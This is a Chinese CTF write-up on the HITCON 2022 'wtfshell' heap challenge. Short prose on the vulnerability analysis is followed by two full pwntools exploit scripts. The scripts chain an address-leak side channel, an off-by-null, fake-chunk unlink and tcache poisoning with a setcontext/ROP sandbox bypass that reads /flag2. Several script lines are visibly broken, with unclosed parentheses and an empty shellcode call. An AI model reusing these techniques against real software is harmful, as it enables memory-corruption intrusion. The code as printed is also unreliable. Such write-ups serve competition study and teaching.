[原创]HITCON2022-wtfshell详解
2022-12-1 15:6:16 Author: bbs.pediy.com(查看原文) 阅读量:52 收藏

和r3kapig一起征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw侧信道+read_pw未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。

题目提供了源码,一共930+行,libc为glibc2.36 3,由于glibc-all-in-one中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4进行复现。

其中!的ascii码值为0x21,若我们能在gbuff 0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok实现off-by-null

首先申请一个user结构体,填满其pwd。本地gdb调试之后发现这样user->uname指针末尾为0,因此可以申请两个user结构体,第一个用作填充,使第二个user结构体的user->uname指针末尾不为0。

其中malloc_usable_size函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size也会被算进来清零,因此我们要避开xfree,只能用xrealloc来free。

xrealloc其实就是调用realloc函数,当我们申请一个大于当前堆块size的堆块时,realloc会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。

gbuff堆块与off-by-null-chunk是紧挨的,然后我们如果要更改off-by-null-chunkprev_size,就必须通过gbuff来更改。

尝试思路一:首先肯定要触发off-by-null,我想的是触发off-by-null之后,再次调用cmd_irl来free掉gbuff,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunkprev_size

但是这样是显然行不通的,因为free掉gbuff的时候,会判断gbuff下面那个堆块的use状态,由于已经off-by-null,会触发off-by-null,但是我们的prev_size不合法,这样会导致程序出错。

尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff第0x400-0x408个字节中非prev_size部分清空,同时触发off-by-null。最终也以失败告终。

我们free掉off-by-null-chunk的时候,除非off-by-null-chunk的size本身为0x501这种,off by null之后不用伪造next_size。否则需要伪造合法的next_size,不然free会触发错误。

首先off-by-null-chunk的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null是没有作用的。

这就意味着我们申请的off-by-null-chunk的size需要大于0x400,那就只能调用cmd_rip来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip的操作是根据strlen函数返回的长度来进行realloc的,也就是说,我们申请出某个size 的堆块,就必须填满他。

但我们要伪造fake_next_sizefake_next_size中肯定带\x00截断,同时由于off-by-null-chunk原本size低字节为0x21,被改成\x00后,fake_next_size要放在off-by-null-chunk的+0x500处,例如如下结构:

先申请出0x521大小的chunk,然后利用cmd_wtf里的strcpy往里填入零字节,再利用cmd_rip来realloc到适当字节,恰好写进fake_next_size,但是对一个内存大于申请size的堆块进行realloc,会free掉剩余size的小chunk:

例如对0x521 chunk 进行reallc(ptr,0x410),他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null

转换思路呢?可能一开始就想错了,为什么off-by-null-chunksize一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list即可。

strlen(fdata)<strlen(gfiles[i]->fdata),是不会触发realloc的,而是直接调用strcpy,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size

这里注意的是,p->fd->bkp->bk->fd指向的地方,不能和p->fd_nextsize->bk_nextsizep->bk_nextsize->fd_nextsize指向的地方相同,否则在通过第一个检测之后,会执行:

能够任意写的tcache size必须要小,因为cmd中任何申请函数都是以strlen返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

def qwq(name):

  log.success(hex(name))

def debug(point):

    if point == 0:

        gdb.attach(r)

    else:

        gdb.attach(r,"b "+point)

r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')

def menu(payload):

    r.recvuntil("√")

    r.sendline(payload)

def add_data(name,content):

    payload = b'rip.'+name

    menu(payload)

    sleep(0.1)

    r.send(content)

def new_file(name,flag):

    payload = b'nsfw,'+name+b','+flag

    menu(payload)

def show_file(name):

    payload = b'omfg,'+name

    menu(payload)

def recover_data(name,content):

    payload = b'wtf,'+content+b','+name

    menu(payload)

def delete_file(name):

    payload = b'gtfo,'+name

    menu(payload)

def add_user(name):

    payload = b'stfu,'+name

    menu(payload)

def edit_pwd(name,pwd):

    payload = b'asap,'+name

    menu(payload)

    r.recvuntil(b"password:")

    r.send(pwd)

    r.recvuntil(b"retype password:")

    r.send(pwd)

def delete_all():

    payload = b'irl.'

    menu(payload)

def burp(name,pwd):

    addr = "\x80"

    for i in range(0x6):

        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))

        for j in range(0xb,0xff):

            payload = b'asap,'+name

            menu(payload)

            r.recvuntil(b"password:")

            r.send(pwd)

            r.recvuntil(b"retype password:")

            r.send(pwd+addr+chr(j)+"\n")

            data=r.recvuntil("\n",timeout=0.1)

            if b"asap: " not in data:

                addr+=chr(j)

                r.send(b'\x00\n')

                break

            else:

                continue

    return u64(addr.ljust(0x8,'\0'))

def write_addr(filename,payload,size):

    whole_size = len(payload)+1

    no_null_payload = payload.replace(b'\x00',b'a')

    for i in range(size):

        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':

            recover_data(filename,no_null_payload[0:whole_size-i-2])

        else:

            continue

add_user(b'what')

add_user(b'lotus')

heap_base=burp(b'lotus',"a"*0x40)-0x880

key = heap_base>>12

new_file(b'big',b'3')

new_file(b'gbuff',b'3')

new_file(b'off-by-null-chunk',b'3')

for i in range(0x7):

    new_file(b"chunk"+str(i).encode(),b'3')

    new_file(b"chunk1"+str(i).encode(),b'3')

new_file(b'chunk21',b'3')

new_file(b'chunk22',b'3')

for i in range(0x7):

    for j in range(0x4):

        add_data(b"chunk"+str(i).encode(),b'a'*0x100)

for i in range(0x2):

    for j in range(0x2):

        add_data(b"chunk1"+str(i).encode(),b'a'*0x100

    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n'

for i in range(0x3):

    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)

for i in range(3,7):

    for j in range(0x2):

        add_data(b"chunk1"+str(i).encode(),b'a'*0x100

    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')

[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]

add_data(b'big',b'a'*0x10+b'\n')

new_file(b'b'*0x100,b'3')

add_data(b'big',b'a'*0x100)

[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]

add_data(b'gbuff',b'a'*0xf8+b'\n')

[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]

add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')

[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]

add_data(b'gbuff',b'a'*0x100)

delete_all()

new_file(b'useless_chunk',b'3')

[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]

add_data(b'useless_chunk',b'a'*0x10+b'\n')

new_file(b'off-by-null-chunk',b'3')

[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]

add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')

[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]

recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')

menu(b'rip.'+b'a'*(0x400-4))

for i in range(0x9):

    new_file(b"chunk1"+str(i).encode(),b'3')

for i in range(0x9):

    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)

fake_point = heap_base+0x2af0

fake_point_addr = fake_point+0x30

fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2

write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)

[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]

delete_file(b'chunk17')

delete_file(b'chunk18')

delete_file(b'chunk16')

delete_file(b'off-by-null-chunk')

for i in range(0xa):

    new_file(b'useless'+str(i).encode(),b'3')

    recover_data(b'useless'+str(i).encode(),b'a'*8)

new_file(b'a'*0x2e0,b'3')

new_file(b'b'*0x2d0,b'3')

show_file(b'chunk14')

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0

new_file(b'a'*0x220,b'3')

new_file(b'edit_tcache_next',b'3')

recover_data(b'edit_tcache_next',b'a'*0x220)

write_addr(b'edit_tcache_next',b'a'*192+p64((heap_base+0x330)^(key+3)),0x8)

new_file(b'a'*0x20,b'3')

new_file(b'go_attack',b'3')

recover_data(b'go_attack',b'a'*0x20)

write_addr(b'go_attack',p32(1)+p32(0x3)+p64(0xdeadbeef)+b'lotuslotus',0x1a)

show_file(b'a'*0x10)

qwq(heap_base)

qwq(libc_base)

r.interactive()

沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2wtfshell1少了一个解。wtfshell2相比与wtfshell1就是多了沙盒。因为我们在wtfshell1中已经拿到了任意地址写,和heap_baselibc_basewtfshell2考察的就是如何绕过沙箱写orw

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

[email protected]:~/seccomp-tools$ seccomp-tools dump /mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell

 line  CODE  JT   JF      K

=================================

 0000: 0x20 0x00 0x00 0x00000000  A = sys_number

 0001: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0006

 0002: 0x20 0x00 0x00 0x00000010  A = fd

 0003: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0005

 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0005: 0x06 0x00 0x00 0x00000000  return KILL

 0006: 0x20 0x00 0x00 0x00000000  A = sys_number

 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009

 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0009: 0x20 0x00 0x00 0x00000000  A = sys_number

 0010: 0x15 0x00 0x06 0x00000009  if (A != mmap) goto 0017

 0011: 0x20 0x00 0x00 0x00000020  A = prot

 0012: 0x15 0x03 0x00 0x00000007  if (A == 0x7) goto 0016

 0013: 0x20 0x00 0x00 0x00000030  A = fd

 0014: 0x15 0x00 0x01 0xffffffff  if (A != 0xffffffff) goto 0016

 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0016: 0x06 0x00 0x00 0x00000000  return KILL

 0017: 0x20 0x00 0x00 0x00000000  A = sys_number

 0018: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0020

 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0020: 0x20 0x00 0x00 0x00000000  A = sys_number

 0021: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0023

 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0023: 0x20 0x00 0x00 0x00000000  A = sys_number

 0024: 0x15 0x00 0x01 0x00000027  if (A != getpid) goto 0026

 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0026: 0x20 0x00 0x00 0x00000000  A = sys_number

 0027: 0x15 0x00 0x01 0x00000066  if (A != getuid) goto 0029

 0028: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0029: 0x20 0x00 0x00 0x00000000  A = sys_number

 0030: 0x15 0x00 0x01 0x00000068  if (A != getgid) goto 0032

 0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0032: 0x20 0x00 0x00 0x00000000  A = sys_number

 0033: 0x15 0x00 0x04 0x00000014  if (A != writev) goto 0038

 0034: 0x20 0x00 0x00 0x00000010  A = fd

 0035: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0037

 0036: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0037: 0x06 0x00 0x00 0x00000000  return KILL

 0038: 0x20 0x00 0x00 0x00000000  A = sys_number

 0039: 0x15 0x00 0x05 0x0000003c  if (A != exit) goto 0045

 0040: 0x20 0x00 0x00 0x00000010  A = error_code

 0041: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0043

 0042: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0044

 0043: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0044: 0x06 0x00 0x00 0x00000000  return KILL

 0045: 0x20 0x00 0x00 0x00000000  A = sys_number

 0046: 0x15 0x00 0x05 0x000000e7  if (A != exit_group) goto 0052

 0047: 0x20 0x00 0x00 0x00000010  A = error_code

 0048: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0050

 0049: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0051

 0050: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0051: 0x06 0x00 0x00 0x00000000  return KILL

 0052: 0x20 0x00 0x00 0x00000000  A = sys_number

 0053: 0x15 0x00 0x03 0x00000127  if (A != preadv) goto 0057

 0054: 0x20 0x00 0x00 0x00000010  A = fd

 0055: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0057

 0056: 0x06 0x00 0x00 0x7fff0000  return ALLOW

 0057: 0x06 0x00 0x00 0x00000000  return KILL

注意沙盒里判断了preadv的第一个参数需要大于2,因此我们openat的第一个参数也需要大于2,而当openat使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

from pwn import *

context(arch = 'amd64', os = 'linux')

def qwq(name):

  log.success(hex(name))

def debug(point):

    if point == 0:

        gdb.attach(r)

    else:

        gdb.attach(r,"b "+point)

r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')

libc = ELF('/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6')

def menu(payload):

    r.recvuntil("√")

    r.sendline(payload)

def add_data(name,content):

    payload = b'rip.'+name

    menu(payload)

    sleep(0.1)

    r.send(content)

def new_file(name,flag):

    payload = b'nsfw,'+name+b','+flag

    menu(payload)

def show_file(name):

    payload = b'omfg,'+name

    menu(payload)

def recover_data(name,content):

    payload = b'wtf,'+content+b','+name

    menu(payload)

def delete_file(name):

    payload = b'gtfo,'+name

    menu(payload)

def add_user(name):

    payload = b'stfu,'+name

    menu(payload)

def edit_pwd(name,pwd):

    payload = b'asap,'+name

    menu(payload)

    r.recvuntil(b"password:")

    r.send(pwd)

    r.recvuntil(b"retype password:")

    r.send(pwd)

def delete_all():

    payload = b'irl.'

    menu(payload)

def burp(name,pwd):

    addr = "\x80"

    for i in range(0x6):

        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))

        for j in range(0xb,0xff):

            payload = b'asap,'+name

            menu(payload)

            r.recvuntil(b"password:")

            r.send(pwd)

            r.recvuntil(b"retype password:")

            r.send(pwd+addr+chr(j)+"\n")

            data=r.recvuntil("\n",timeout=0.1)

            if b"asap: " not in data:

                addr+=chr(j)

                r.send(b'\x00\n')

                break

            else:

                continue

    return u64(addr.ljust(0x8,'\0'))

def write_addr(filename,payload,size):

    whole_size = len(payload)+1

    no_null_payload = payload.replace(b'\x00',b'a')

    for i in range(size):

        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':

            recover_data(filename,no_null_payload[0:whole_size-i-2])

        else:

            continue

add_user(b'what')

add_user(b'lotus')

heap_base=burp(b'lotus',"a"*0x40)-0x880

key = heap_base>>12

new_file(b'big',b'3')

new_file(b'gbuff',b'3')

new_file(b'off-by-null-chunk',b'3')

for i in range(0x7):

    new_file(b"chunk"+str(i).encode(),b'3')

    new_file(b"chunk1"+str(i).encode(),b'3')

new_file(b'chunk21',b'3')

new_file(b'chunk22',b'3')

for i in range(0x7):

    for j in range(0x4):

        add_data(b"chunk"+str(i).encode(),b'a'*0x100)

for i in range(0x2):

    for j in range(0x2):

        add_data(b"chunk1"+str(i).encode(),b'a'*0x100

    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n'

for i in range(0x3):

    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)

for i in range(3,7):

    for j in range(0x2):

        add_data(b"chunk1"+str(i).encode(),b'a'*0x100

    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')

[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]

add_data(b'big',b'a'*0x10+b'\n')

new_file(b'b'*0x100,b'3')

add_data(b'big',b'a'*0x100)

[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]

add_data(b'gbuff',b'a'*0xf8+b'\n')

[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]

add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')

[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]

add_data(b'gbuff',b'a'*0x100)

delete_all()

new_file(b'useless_chunk',b'3')

[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]

add_data(b'useless_chunk',b'a'*0x10+b'\n')

new_file(b'off-by-null-chunk',b'3')

[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]

add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')

[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]

recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')

menu(b'rip.'+b'a'*(0x400-4))

for i in range(0x9):

    new_file(b"chunk1"+str(i).encode(),b'3')

for i in range(0x9):

    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)

fake_point = heap_base+0x2af0

fake_point_addr = fake_point+0x30

fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2

write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)

[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]

delete_file(b'chunk17')

delete_file(b'chunk18')

delete_file(b'chunk16')

delete_file(b'off-by-null-chunk')

for i in range(0xa):

    new_file(b'useless'+str(i).encode(),b'3')

    recover_data(b'useless'+str(i).encode(),b'a'*8)

new_file(b'a'*0x2e0,b'3')

new_file(b'b'*0x2d0,b'3')

show_file(b'chunk14')

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0

new_file(b'a'*0x220,b'3')

new_file(b'edit_tcache_next',b'3')

recover_data(b'edit_tcache_next',b'a'*0x220)

strtok_libc_got = libc_base + 0x1f6040

write_addr(b'edit_tcache_next',b'a'*192+p64((strtok_libc_got-0x20)^(key+3)),0x8)

new_file(b'a'*0x20,b'3')

magic_gadget = libc_base + 0x8c385

new_file(b'go_attack',b'3')

recover_data(b'go_attack',b'a'*0x20+p64(magic_gadget)[0:6])

address = libc_base + libc.sym['__free_hook']

frame = SigreturnFrame()

frame.rdi = 0

frame.rsi = address

frame.rdx = 0x200

frame.rsp = address

frame.rip = libc_base + libc.sym['read']

payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(heap_base + 0x3d50)

payload += bytes(frame)

menu(payload)

pop_rax_ret = libc_base + 0x3fa43

pop_rbx_ret = libc_base + 0x2f1d1

pop_rcx_ret = libc_base + 0x99a83

pop_rdi_ret = libc_base + 0x23b65

pop_rsi_ret = libc_base + 0x251be

pop_rdx_ret = libc_base + 0x166262

pop_r8_ret = libc_base + 0x8c3de

syscall = libc_base + 0x8cc36

int_80 = libc_base + 0xce0cb

rop = p64(pop_rdi_ret) + p64(0x100000)

rop += p64(pop_rsi_ret) + p64(0x1000)

rop += p64(pop_rdx_ret) + p64(6)

rop += p64(pop_rcx_ret) + p64(0x22)

rop += p64(pop_r8_ret) + p64(0xffffffff)

rop += p64(libc_base + libc.sym['mmap'])

rop += p64(pop_rdi_ret) + p64(0)

rop += p64(pop_rsi_ret) + p64(0x100000)

rop += p64(pop_rdx_ret) + p64(0x200)

rop += p64(libc_base + libc.sym['read'])

rop += p64(0x100008)

sleep(0.1)

r.send(rop)

shellcode = asm(

)

sleep(0.1)

r.send(b'/flag2\x00\x00' + shellcode)

qwq(heap_base)

qwq(libc_base)

r.interactive()


文章来源: https://bbs.pediy.com/thread-275376.htm
如有侵权请联系:admin#unsafe.sh